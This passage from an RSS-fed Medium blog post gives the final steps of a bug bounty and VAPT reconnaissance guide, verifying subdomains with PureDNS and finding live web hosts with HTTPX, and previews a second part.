src="https://cdn-images-1.medium.com/max/940/1*D8iFH718y_PnLYl8fQckMA.png" /></figure><p>💡 <strong>Tip:</strong> The better your initial subdomain list, the better the permutations generated by AlterX. You can also provide a custom wordlist to generate even more targeted results.</p><p><strong>In Part 2, we’ll build our own custom wordlist using information collected from Katana, robots.txt, the Wayback Machine, and other reconnaissance techniques, and then use it with AlterX to discover even more hidden assets.</strong></p><h3>Step 9 — Verify Valid Subdomains with PureDNS</h3><p>By now, we have a large list of possible subdomains collected from multiple sources and expanded using AlterX. However, not every discovered subdomain actually exists.</p><p>To verify which subdomains resolve successfully, I use <strong>PureDNS</strong>. It filters out invalid entries and leaves us with a clean list of valid subdomains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*AUtj5KD2iqVYxdSB50BAyw.png" /></figure><p><strong>Note:</strong> resolvers.txt is a list of public DNS resolvers used by PureDNS. You only need to download it once and can reuse it for future projects.</p><h3>Step 10 — Find Live Web Applications</h3><p>A valid subdomain doesn’t always mean there’s a website running on it. Some subdomains may only host services like mail servers, VPNs, or APIs.</p><p>To identify the subdomains that are actually serving web applications, I use <strong>HTTPX</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*azkI9QkIFbdK0kRSQObmrg.png" /></figure><p>The output is a clean list of <strong>live web assets</strong>. This becomes the starting point for the next stage of reconnaissance, where we’ll look for hidden endpoints, JavaScript files, archived URLs, and much more.</p><p>That’s it for Part 1! This is the exact foundation I follow before starting any VAPT engagement or bug bounty assessment.</p><p>In the next part, we’ll use everything we’ve collected here to perform deeper reconnaissance with tools like <strong>Katana</strong>, <strong>Wayback Machine</strong>, <strong>robots.txt</strong>, and more. We’ll also build our own custom wordlists to uncover hidden assets that automated tools often miss.</p><p>In <strong>Part 2</strong>, we’ll take active-subdomains.txt and use tools like <strong>Katana</strong>, <strong>Wayback Machine</strong>, <strong>robots.txt</strong>, JavaScript analysis, endpoint discovery, parameter mining, and custom wordlists to uncover even more hidden assets before moving into vulnerability testing.</p><p>If you found this guide helpful, consider following me on Medium. I’ll be sharing more practical VAPT and Bug Bounty content based on what I’ve learned throughout my journey.</p><p><strong>See you in Part 2! Happy Hunting!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd9d13186b66" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>